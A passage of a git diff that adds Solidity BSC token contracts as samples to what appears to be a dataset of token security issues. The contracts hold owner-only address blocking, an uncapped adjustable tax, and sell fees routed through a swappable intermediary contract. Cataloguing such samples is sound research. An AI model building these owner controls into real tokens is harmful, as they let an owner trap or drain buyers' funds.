Context { + + function _msgSender() internal view virtual returns (address payable) { + return payable(msg.sender); + } + + function _msgData() internal view virtual returns (bytes memory) { + this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 + return msg.data; + } +} + +interface IERC20 { + + function totalSupply() external view returns (uint256); + function balanceOf(address account) external view returns (uint256); + function transfer(address recipient, uint256 amount) external returns (bool); + function allowance(address owner, address spender) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +library SafeMath { + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + uint256 c = a - b; + + return c; + } + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return div(a, b, "SafeMath: division by zero"); + } + + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b > 0, errorMessage); + uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + + return c; + } + + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + return mod(a, b, "SafeMath: modulo by zero"); + } + + function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b != 0, errorMessage); + return a % b; + } +} + +library Address { + + function isContract(address account) internal view returns (bool) { + // According to EIP-1052, 0x0 is the value returned for not-yet created accounts + // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned + // for accounts without code, i.e. `keccak256('')` + bytes32 codehash; + bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; + // solhint-disable-next-line no-inline-assembly + assembly { codehash := extcodehash(account) } + return (codehash != accountHash && codehash != 0x0); + } + + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: insufficient balance"); + + // solhint-disable-next-line avoid-low-level-calls, avoid-call-value + (bool success, ) = recipient.call{ value: amount }(""); + require(success, "Address: unable to send value, recipient may have reverted"); + } + + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: low-level call failed"); + } + + function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + return _functionCallWithValue(target, data, 0, errorMessage); + } + + function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + } + + function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: insufficient balance for call"); + return _functionCallWithValue(target, data, value, errorMessage); + } + + function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { + require(isContract(target), "Address: call to non-contract"); + + (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); + if (success) { + return returndata; + } else { + + if (returndata.length > 0) { + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} + +contract Ownable is Context { + address private _owner; + address private asdasd; + uint256 private _lockTime; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + constructor () { + address msgSender = _msgSender(); + _owner = msgSender; + emit OwnershipTransferred(address(0), msgSender); + } + + function owner() public view returns (address) { + return _owner; + } + + modifier onlyOwner() { + require(_owner == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + function waiveOwnership() public virtual onlyOwner { + emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); + _owner = address(0x000000000000000000000000000000000000dEaD); + } + + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } + + function getTime() public view returns (uint256) { + return block.timestamp; + } + +} + +interface IUniswapV2Factory { + event PairCreated(address indexed token0, address indexed token1, address pair, uint); + + function feeTo() external view returns (address); + function feeToSetter() external view returns (address); + + function getPair(address tokenA, address tokenB) external view returns (address pair); + function allPairs(uint) external view returns (address pair); + function allPairsLength() external view returns (uint); + + function createPair(address tokenA, address tokenB) external returns (address pair); + + function setFeeTo(address) external; + function setFeeToSetter(address) external; +} + +interface IUniswapV2Pair { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external pure returns (string memory); + function symbol() external pure returns (string memory); + function decimals() external pure returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); + + function DOMAIN_SEPARATOR() external view returns (bytes32); + function PERMIT_TYPEHASH() external pure returns (bytes32); + function nonces(address owner) external view returns (uint); + + function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; + + event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); + event Swap( + address indexed sender, + uint amount0In, + uint amount1In, + uint amount0Out, + uint amount1Out, + address indexed to + ); + event Sync(uint112 reserve0, uint112 reserve1); + + function MINIMUM_LIQUIDITY() external pure returns (uint); + function factory() external view returns (address); + function token0() external view returns (address); + function token1() external view returns (address); + function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); + function price0CumulativeLast() external view returns (uint); + function price1CumulativeLast() external view returns (uint); + function kLast() external view returns (uint); + + function burn(address to) external returns (uint amount0, uint amount1); + function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; + function skim(address to) external; + function sync() external; + + function initialize(address, address) external; +} + +interface IUniswapV2Router01 { + function factory() external pure returns (address); + function WETH() external pure returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB, uint liquidity); + function addLiquidityETH( + address token, + uint amountTokenDesired, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + function removeLiquidityETH( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountToken, uint amountETH); + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountA, uint amountB); + function removeLiquidityETHWithPermit( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountToken, uint amountETH); + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + + function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); + function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); + function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); + function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); +} + +interface IUniswapV2Router02 is IUniswapV2Router01 { + function removeLiquidityETHSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountETH); + function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountETH); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external payable; + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; +} + +contract Token is Context, IERC20, Ownable { + + using SafeMath for uint256; + using Address for address; + + string private _name = unicode"制裁"; + string private _symbol = unicode"制裁"; + uint8 private _decimals = 9; + + address payable public marketingWalletAddress = payable(0x6028036Ab491aa0A4fB3985a33FB70Ea5380fAAB); + address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; + + mapping (address => uint256) _balances; + mapping (address => mapping (address => uint256)) private _allowances; + + mapping (address => bool) public isExcludedFromFee; + mapping (address => bool) public isWalletLimitExempt; + mapping (address => bool) public isTxLimitExempt; + mapping (address => bool) public isMarketPair; + mapping(address => bool) public isbotBlackList; + + uint256 public _marketingFee = 6; + + uint256 public _totalTax = 6; + + uint256 private _totalSupply = 1000000 * 10**_decimals; + uint256 public _maxTxAmount = 1000000 * 10**_decimals; + uint256 public _walletMax = 1000000 * 10**_decimals; + uint256 private minimumTokensBeforeSwap = 100 * 10**_decimals; + + IUniswapV2Router02 public uniswapV2Router; + address public uniswapPair; + + bool inSwapAndLiquify; + bool public swapAndLiquifyEnabled = true; + bool public swapAndLiquifyByLimitOnly = false; + bool public checkWalletLimit = true; + + event SwapAndLiquifyEnabledUpdated(bool enabled); + event SwapAndLiquify( + uint256 tokensSwapped, + uint256 ethReceived, + uint256 tokensIntoLiqudity + ); + + event SwapETHForTokens( + uint256 amountIn, + address[] path + ); + + event SwapTokensForETH( + uint256 amountIn, + address[] path + ); + + modifier lockTheSwap { + inSwapAndLiquify = true; + _; + inSwapAndLiquify = false; + } + + constructor () { + + IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); + + uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) + .createPair(address(this), _uniswapV2Router.WETH()); + + uniswapV2Router = _uniswapV2Router; + _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; + + isExcludedFromFee[owner()] = true; + isExcludedFromFee[address(this)] = true; + + _totalTax = _marketingFee; + + isWalletLimitExempt[owner()] = true; + isWalletLimitExempt[address(uniswapPair)] = true; + isWalletLimitExempt[address(this)] = true; + + isTxLimitExempt[owner()] = true; + isTxLimitExempt[address(this)] = true; + + isMarketPair[address(uniswapPair)] = true; + + _balances[_msgSender()] = _totalSupply; + emit Transfer(address(0), _msgSender(), _totalSupply); + } + + function name() public view returns (string memory) { + return _name; + } + + function symbol() public view returns (string memory) { + return _symbol; + } + + function decimals() public view returns (uint8) { + return _decimals; + } + + function totalSupply() public view override returns (uint256) { + return _totalSupply; + } + + function balanceOf(address account) public view override returns (uint256) { + return _balances[account]; + } + + function allowance(address owner, address spender) public view override returns (uint256) { + return _allowances[owner][spender]; + } + + function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); + return true; + } + + function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); + return true; + } + + function minimumTokensBeforeSwapAmount() public view returns (uint256) { + return minimumTokensBeforeSwap; + } + + function approve(address spender, uint256 amount) public override returns (bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + function _approve(address owner, address spender, uint256 amount) private { + require(owner != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + function setMarketPairStatus(address account, bool newValue) public onlyOwner { + isMarketPair[account] = newValue; + } + + function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { + isTxLimitExempt[holder] = exempt; + } + + function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { + isExcludedFromFee[account] = newValue; + } + + function setTaxes(uint256 newMarketingFee) external onlyOwner() { + _marketingFee = newMarketingFee; + _totalTax = _marketingFee; + } + + function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { + _maxTxAmount = maxTxAmount; + } + + function enableDisableWalletLimit(bool newValue) external onlyOwner { + checkWalletLimit = newValue; + } + + function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { + isWalletLimitExempt[holder] = exempt; + } + + function setWalletLimit(uint256 newLimit) external onlyOwner { + _walletMax = newLimit; + } + + function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { + minimumTokensBeforeSwap = newLimit; + } + + function setMarketingWalletAddress(address newAddress) external onlyOwner() { + marketingWalletAddress = payable(newAddress); + } + + function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { + swapAndLiquifyEnabled = _enabled; + emit SwapAndLiquifyEnabledUpdated(_enabled); + } + + function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { + swapAndLiquifyByLimitOnly = newValue; + } + + function getCirculatingSupply() public view returns (uint256) { + return _totalSupply.sub(balanceOf(deadAddress)); + } + + function burnBNB(address payable burnAddress) external onlyOwner { + burnAddress.transfer(address(this).balance); + } + + function rescueToken(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) { + return IERC20(tokenAddress).transfer(msg.sender, tokens); + } + + function transferToAddressETH(address payable recipient, uint256 amount) private { + recipient.transfer(amount); + } + + function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { + + IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); + + newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); + + if(newPairAddress == address(0)) + { + newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) + .createPair(address(this), _uniswapV2Router.WETH()); + } + + uniswapPair = newPairAddress; + uniswapV2Router = _uniswapV2Router; + + isWalletLimitExempt[address(uniswapPair)] = true; + isMarketPair[address(uniswapPair)] = true; + } + + //to recieve ETH from uniswapV2Router when swaping + receive() external payable {} + + function transfer(address recipient, uint256 amount) public override returns (bool) { + + _transfer(_msgSender(), recipient, amount); + return true; + } + + function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { + + _transfer(sender, recipient, amount); + _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); + return true; + } + + function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { + + require(sender != address(0), "ERC20: transfer from the zero address"); + require(recipient != address(0), "ERC20: transfer to the zero address"); + require(!isbotBlackList[sender], "account is bot"); + + if(inSwapAndLiquify) + { + return _basicTransfer(sender, recipient, amount); + } + else + { + if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { + require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); + } + + uint256 contractTokenBalance = balanceOf(address(this)); + bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; + + if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) + { + if(swapAndLiquifyByLimitOnly) + contractTokenBalance = minimumTokensBeforeSwap; + swapAndLiquify(contractTokenBalance); + } + + _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); + + uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? + amount : takeFee(sender, recipient, amount); + + if(checkWalletLimit && !isWalletLimitExempt[recipient]) + require(balanceOf(recipient).add(finalAmount) <= _walletMax); + + _balances[recipient] = _balances[recipient].add(finalAmount); + + emit Transfer(sender, recipient, finalAmount); + return true; + } + } + + function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { + _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); + _balances[recipient] = _balances[recipient].add(amount); + emit Transfer(sender, recipient, amount); + return true; + } + + function swapAndLiquify(uint256 tAmount) private lockTheSwap { + swapTokensForEth(tAmount); + uint256 amountReceived = address(this).balance; + + if(amountReceived > 0) + transferToAddressETH(marketingWalletAddress, amountReceived); + } + + function swapTokensForEth(uint256 tokenAmount) private { + // generate the uniswap pair path of token -> weth + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = uniswapV2Router.WETH(); + + _approve(address(this), address(uniswapV2Router), tokenAmount); + + // make the swap + uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( + tokenAmount, + 0, // accept any amount of ETH + path, + address(this), // The contract + block.timestamp + ); + + emit SwapTokensForETH(tokenAmount, path); + } + + function setblocklist(address _account) external onlyOwner { + if (isbotBlackList[_account]) { + isbotBlackList[_account] = false; + } else { + isbotBlackList[_account] = true; + } + } + + + function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { + + uint256 feeAmount = 0; + + if(isMarketPair[sender]) { + feeAmount = amount.mul(_totalTax).div(100); + } + else if(isMarketPair[recipient]) { + feeAmount = amount.mul(_totalTax).div(100); + } + + if(feeAmount > 0) { + _balances[address(this)] = _balances[address(this)].add(feeAmount); + emit Transfer(sender, address(this), feeAmount); + } + + return amount.sub(feeAmount); + } +} \ No newline at end of file diff --git a/src/TSB-2023-009/metadata.json b/src/TSB-2023-009/metadata.json index d19ce9b..a07d1f2 100644 --- a/src/TSB-2023-009/metadata.json +++ b/src/TSB-2023-009/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-009/samples/04.sol b/src/TSB-2023-009/samples/04.sol new file mode 100644 index 0000000..19aacb8 --- /dev/null +++ b/src/TSB-2023-009/samples/04.sol @@ -0,0 +1,502 @@ +/** + *Submitted for verification at BscScan.com on 2023-05-18 +*/ + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +abstract contract Context { + function _msgSender() internal view virtual returns (address) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes calldata) { + return msg.data; + } +} + +interface SWAP { + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); +} + +interface IERC20 { + function decimals() external view returns (uint8); + + function transferFrom( + address sender, + address recipient, + uint256 amount + ) external returns (bool); + + function transfer( + address recipient, + uint256 amount + ) external returns (bool); + + function approve(address spender, uint256 amount) external returns (bool); + + function balanceOf(address account) external view returns (uint256); +} + +interface Intermediate { + function toTransfer( + address contract_, + address to_, + uint256 amount_ + ) external returns (bool); +} + +contract ERC20 is Context { + address public swapC = 0x10ED43C718714eb63d5aA57B78B54704E256024E; + address public usdtC = 0x55d398326f99059fF775485246999027B3197955; + + address public intermediateC; + + string public _name; + string public _symbol; + uint256 public _decimals; + uint256 public _totalSupply; + mapping(address => uint256) private _balances; + mapping(address => mapping(address => uint256)) private _allowances; + + address public marketingAddress = + 0x2e44307257AEC8d2B8903E1ef267C6C416Aac44A; + address public holdingCurrencyAddress = + 0xc5C323E1498d9DeC5b342FaE068EE8923822098a; + address public lpAddress = 0xCAa8CE02D72443321dDf6840cc89b3C684bb65C1; + address public dynamicAddress = 0x749f9A0f7DA3F1eB9E24479325Fb7391049CBadc; + address public volcanoAddress = 0x1eCE5Fba1B6Abf649B9eee0a304859F50CBC846F; + address public newwalletAddress = + 0xD458151E2db2634Afe8caa3E428Af38077BFd5F5; + address public destroyAddress = 0x65aD67a1Ed1466d68efb783d679ca44bd3106dCf; + + uint256 public blackHoleSlippage = 25; + uint256 public marketingSlippage = 75; + uint256 public holdingCurrencySlippage = 30; + uint256 public lpSlippage = 70; + uint256 public dynamicSlippage = 100; + uint256 public volcanoSlippage = 5; + uint256 public newwalletSlippage = 25; + uint256 public totatDestroy; + + mapping(address => bool) public _FeeList; + + address[] public paths = new address[](2); + + address public owners; + modifier _Owner() { + require(owners == msg.sender); + _; + } + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); + event FeeList(address address_, bool status_); + + event holdingCurrencyEvent( + address address_, + uint256 value, + address contract_ + ); + event lpEvent(address address_, uint256 value, address contract_); + event dynamicEvent(address address_, uint256 value, address contract_); + + constructor(address address_) { + _name = "Business development coin"; + _symbol = "BDC"; + _decimals = 18; + owners = msg.sender; + paths[0] = address(this); + paths[1] = usdtC; + intermediateC = 0xa88Dd8D4e19eAaF4C0eDf86a4866c00EfceC2ccf; + _mint(address_, 22000000 * 10 ** decimals()); + _burn(address_, 11000000 * 10 ** decimals()); + } + + function name() public view virtual returns (string memory) { + return _name; + } + + function symbol() public view virtual returns (string memory) { + return _symbol; + } + + function decimals() public view virtual returns (uint256) { + return _decimals; + } + + function totalSupply() public view virtual returns (uint256) { + return _totalSupply; + } + + function balanceOf(address account) public view virtual returns (uint256) { + return _balances[account]; + } + + function allowance( + address owner, + address spender + ) public view virtual returns (uint256) { + return _allowances[owner][spender]; + } + + function setOwner(address owner_) public _Owner returns (bool) { + owners = owner_; + return true; + } + + function setintermediateC(address owner_) public _Owner returns (bool) { + intermediateC = owner_; + return true; + } + + function setAddress( + address address_, + uint256 type_ + ) public _Owner returns (bool) { + require(address_ != address(0), "ERC20: incorrect address"); + if (type_ == 1) { + marketingAddress = address_; + return true; + } + if (type_ == 2) { + holdingCurrencyAddress = address_; + return true; + } + if (type_ == 3) { + lpAddress = address_; + return true; + } + if (type_ == 4) { + dynamicAddress = address_; + return true; + } + if (type_ == 5) { + volcanoAddress = address_; + return true; + } + if (type_ == 6) { + newwalletAddress = address_; + return true; + } + return false; + } + + function setSlippage( + uint256 slippage_, + uint256 type_ + ) public _Owner returns (bool) { + require(slippage_ < 100, "ERC20: slippage out of range"); + require(slippage_ > 0, "ERC20: slippage less than range"); + if (type_ == 0) { + blackHoleSlippage = slippage_; + return true; + } + if (type_ == 1) { + marketingSlippage = slippage_; + return true; + } + if (type_ == 2) { + holdingCurrencySlippage = slippage_; + return true; + } + if (type_ == 3) { + lpSlippage = slippage_; + return true; + } + if (type_ == 4) { + dynamicSlippage = slippage_; + return true; + } + if (type_ == 5) { + volcanoSlippage = slippage_; + return true; + } + if (type_ == 6) { + newwalletSlippage = slippage_; + return true; + } + return false; + } + + function setFeeList( + address address_, + bool state_ + ) public _Owner returns (bool) { + _FeeList[address_] = state_; + emit FeeList(address_, state_); + return true; + } + + function transferall( + address[] memory recipient, + uint256[] memory amount + ) public virtual returns (bool) { + require( + recipient.length == amount.length, + "ERC20: Array lengths are different" + ); + for (uint i = 0; i < recipient.length; i++) { + _transfer(_msgSender(), recipient[i], amount[i]); + } + return true; + } + + function transfer( + address recipient, + uint256 amount + ) public virtual returns (bool) { + _transfer(_msgSender(), recipient, amount); + return true; + } + + function approve( + address spender, + uint256 amount + ) public virtual returns (bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + function transferFrom( + address sender, + address recipient, + uint256 amount + ) public virtual returns (bool) { + _transfer(sender, recipient, amount); + if (sender == _msgSender()) { + return true; + } + uint256 currentAllowance = _allowances[sender][_msgSender()]; + require( + currentAllowance >= amount, + "ERC20: transfer amount exceeds allowance" + ); + unchecked { + _approve(sender, _msgSender(), currentAllowance - amount); + } + return true; + } + + function increaseAllowance( + address spender, + uint256 addedValue + ) public virtual returns (bool) { + _approve( + _msgSender(), + spender, + _allowances[_msgSender()][spender] + addedValue + ); + return true; + } + + function decreaseAllowance( + address spender, + uint256 subtractedValue + ) public virtual returns (bool) { + uint256 currentAllowance = _allowances[_msgSender()][spender]; + require( + currentAllowance >= subtractedValue, + "ERC20: decreased allowance below zero" + ); + unchecked { + _approve(_msgSender(), spender, currentAllowance - subtractedValue); + } + return true; + } + + function _transfer( + address sender, + address recipient, + uint256 amount + ) internal virtual { + require(sender != address(0), "ERC20: transfer from the zero address"); + require(recipient != address(0), "ERC20: transfer to the zero address"); + _beforeTokenTransfer(sender, recipient, amount); + uint256 senderBalance = _balances[sender]; + require( + senderBalance >= amount, + "ERC20: transfer amount exceeds balance" + ); + unchecked { + _balances[sender] = senderBalance - amount; + } + uint256 accountAmount = amount; + if (_FeeList[sender] && !_FeeList[recipient]) { + if (recipient != address(this) && recipient != marketingAddress) { + accountAmount = + accountAmount - + toBuyfee(amount, sender, recipient); + } + } + if (_FeeList[recipient] && !_FeeList[sender]) { + if (sender != address(this) && sender != marketingAddress) { + accountAmount = accountAmount - toSellfee(amount, sender); + } + } + _balances[recipient] += accountAmount; + emit Transfer(sender, recipient, accountAmount); + _afterTokenTransfer(sender, recipient, amount); + } + + function toBuyfee( + uint256 amount, + address sender, + address recipient + ) internal virtual returns (uint256) { + uint256 a = (amount * blackHoleSlippage) / 10000; + if (totatDestroy >= 7000000 * 10 ** _decimals) { + _balances[destroyAddress] += a; + emit Transfer(sender, destroyAddress, a); + } else { + _burn(sender, a); + _balances[sender] += a; + totatDestroy += a; + } + + uint256 b = (amount * marketingSlippage) / 10000; + _balances[marketingAddress] += b; + emit Transfer(sender, marketingAddress, b); + + uint256 c = (amount * holdingCurrencySlippage) / 10000; + _balances[holdingCurrencyAddress] += c; + emit holdingCurrencyEvent(recipient, c, address(this)); + emit Transfer(sender, holdingCurrencyAddress, c); + + uint256 d = (amount * lpSlippage) / 10000; + _balances[lpAddress] += d; + emit lpEvent(recipient, d, address(this)); + emit Transfer(sender, lpAddress, d); + + uint256 e = (amount * dynamicSlippage) / 10000; + _balances[dynamicAddress] += e; + emit dynamicEvent(recipient, e, address(this)); + emit Transfer(sender, dynamicAddress, e); + + uint256 f = (amount * volcanoSlippage) / 10000; + _balances[volcanoAddress] += f; + emit Transfer(sender, volcanoAddress, f); + + uint256 g = (amount * newwalletSlippage) / 10000; + _balances[newwalletAddress] += g; + emit Transfer(sender, newwalletAddress, g); + return a + b + c + d + e + f + g; + } + + function toSellfee( + uint256 amount, + address sender + ) internal virtual returns (uint256) { + uint256 glod_a = (amount * blackHoleSlippage) / 10000; + if (totatDestroy >= 7000000 * 10 ** _decimals) { + _balances[destroyAddress] += glod_a; + emit Transfer(sender, destroyAddress, glod_a); + } else { + _burn(sender, glod_a); + _balances[sender] += glod_a; + totatDestroy += glod_a; + } + + uint256 b = (amount * marketingSlippage) / 10000; + _balances[marketingAddress] += b; + emit Transfer(sender, marketingAddress, b); + + uint256 allSlippage = holdingCurrencySlippage + + lpSlippage + + dynamicSlippage + + volcanoSlippage + + newwalletSlippage; + uint256 glod_b = (amount * allSlippage) / 10000; + + _balances[address(this)] += glod_b; + _approve(address(this), swapC, glod_b); + SWAP theswap = SWAP(swapC); + uint256[] memory amounts = theswap.swapExactTokensForTokens( + glod_b, + 0, + paths, + intermediateC, + block.timestamp + 1800 + ); + + Intermediate ints = Intermediate(intermediateC); + ints.toTransfer(usdtC, address(this), amounts[1]); + + IERC20 usdts = IERC20(usdtC); + + uint256 usdt_b = (amounts[1] * holdingCurrencySlippage) / allSlippage; + emit holdingCurrencyEvent(sender, usdt_b, usdtC); + usdts.transfer(holdingCurrencyAddress, usdt_b); + + uint256 usdt_c = (amounts[1] * lpSlippage) / allSlippage; + emit lpEvent(sender, usdt_c, usdtC); + usdts.transfer(lpAddress, usdt_c); + + uint256 usdt_d = (amounts[1] * dynamicSlippage) / allSlippage; + emit dynamicEvent(sender, usdt_d, usdtC); + usdts.transfer(dynamicAddress, usdt_d); + + uint256 usdt_e = (amounts[1] * volcanoSlippage) / allSlippage; + usdts.transfer(volcanoAddress, usdt_e); + + uint256 usdt_f = amounts[1] - usdt_b - usdt_c - usdt_d - usdt_e; + usdts.transfer(newwalletAddress, usdt_f); + return glod_a + glod_b + b; + } + + function _mint(address account, uint256 amount) internal virtual { + require(account != address(0), "ERC20: mint to the zero address"); + _beforeTokenTransfer(address(0), account, amount); + _totalSupply += amount; + _balances[account] += amount; + emit Transfer(address(0), account, amount); + _afterTokenTransfer(address(0), account, amount); + } + + function _burn(address account, uint256 amount) internal virtual { + require(account != address(0), "ERC20: burn from the zero address"); + _beforeTokenTransfer(account, address(0), amount); + uint256 accountBalance = _balances[account]; + require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); + unchecked { + _balances[account] = accountBalance - amount; + } + _totalSupply -= amount; + _balances[address(0)] += amount; + emit Transfer(account, address(0), amount); + _afterTokenTransfer(account, address(0), amount); + } + + function _approve( + address owner, + address spender, + uint256 amount + ) internal virtual { + require(owner != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + function _beforeTokenTransfer( + address from, + address to, + uint256 amount + ) internal virtual {} + + function _afterTokenTransfer( + address from, + address to, + uint256 amount + ) internal virtual {} +} \ No newline at end of file diff --git a/src/TSB-2023-010/metadata.json 